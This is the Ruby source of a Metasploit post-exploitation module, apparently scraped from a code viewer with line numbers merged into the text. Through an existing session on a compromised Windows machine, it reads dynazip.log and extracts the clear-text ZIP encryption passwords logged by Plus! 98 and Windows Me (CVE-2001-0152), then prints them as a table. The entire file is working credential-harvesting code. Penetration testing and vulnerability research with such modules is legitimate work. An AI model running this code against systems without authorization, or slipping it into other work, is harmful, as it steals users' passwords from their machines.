Path: blob/master/modules/post/windows/gather/credentials/dynazip_log.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Gather DynaZIP Saved Password Extraction',14'Description' => %q{15This module extracts clear text credentials from dynazip.log.16The log file contains passwords used to encrypt compressed zip17files in Microsoft Plus! 98 and Windows Me.18},19'License' => MSF_LICENSE,20'Author' => ['bcoles'],21'References' => [22['CVE', '2001-0152'],23['MSB', 'MS01-019'],24['PACKETSTORM', '24543'],25['URL', 'https://support.microsoft.com/en-us/kb/265131']26],27'DisclosureDate' => '2001-03-27',28'Platform' => ['win'],29'SessionTypes' => ['meterpreter', 'shell'],30'Notes' => {31'Stability' => [CRASH_SAFE],32'SideEffects' => [],33'Reliability' => []34}35)36)37end3839def run40creds = []4142log_path = "#{get_env('%WINDIR%')}\\dynazip.log"4344unless file?(log_path)45print_error("#{log_path} not found")46return47end4849print_good("Found DynaZip log file: #{log_path}")5051begin52log_data = read_file(log_path)53rescue EOFError54print_error('Log file is empty')55return56end5758vprint_status("Processing log file (#{log_data.length} bytes)")5960log_data.split('- DynaZIP ZIP Diagnostic Log -').each do |log|61if log =~ /^lpszZIPFile: 0x[0-9a-f]+\s*?^(.+)\r\n/62zip_path = ::Regexp.last_match(1)63else64next65end6667vprint_status("Processing log entry for #{zip_path}")6869# The lpszEncryptCode appears to always be 0x712185d4 however70# we use a hex regex pattern, just in case.71# The line following the lpszEncryptCode contains the password.72passwd = log.scan(/^lpszEncryptCode: 0x[0-9a-f]+\s*?^(.+)?\r\n/).flatten.first7374# In the event that the user selected a blank encryption password75# the ZIP file is not encrypted, however an empty line is written76# to the log file.77if passwd.to_s.eql?('')78vprint_status('Did not find a password')79next80end8182print_good("File: '#{zip_path}' -- Password: '#{passwd}'")83creds << [zip_path, passwd]84end8586if creds.empty?87print_error('No passwords were found in the log file')88return89end9091table = Rex::Text::Table.new(92'Header' => 'ZIP Passwords',93'Indent' => 0,94'SortIndex' => 0,95'Columns' => ['File Path', 'Password']96)97creds.each { |c| table << c }98print_line99print_line(table.to_s)100end101end102103104